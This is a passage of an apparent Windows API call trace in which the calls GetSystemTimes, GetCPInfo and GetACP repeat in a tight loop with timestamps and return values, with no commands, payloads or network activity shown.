GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.813] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.814] GetACP () returned 0x4e4 [0053.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.815] GetACP () returned 0x4e4 [0053.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.816] GetACP () returned 0x4e4 [0053.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.817] GetACP () returned 0x4e4 [0053.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.817] GetACP () returned 0x4e4 [0053.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.924] GetACP () returned 0x4e4 [0053.924] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.924] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.925] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.925] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.925] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.926] GetACP () returned 0x4e4 [0053.926] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.926] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.927] GetACP () returned 0x4e4 [0053.927] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.927] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, 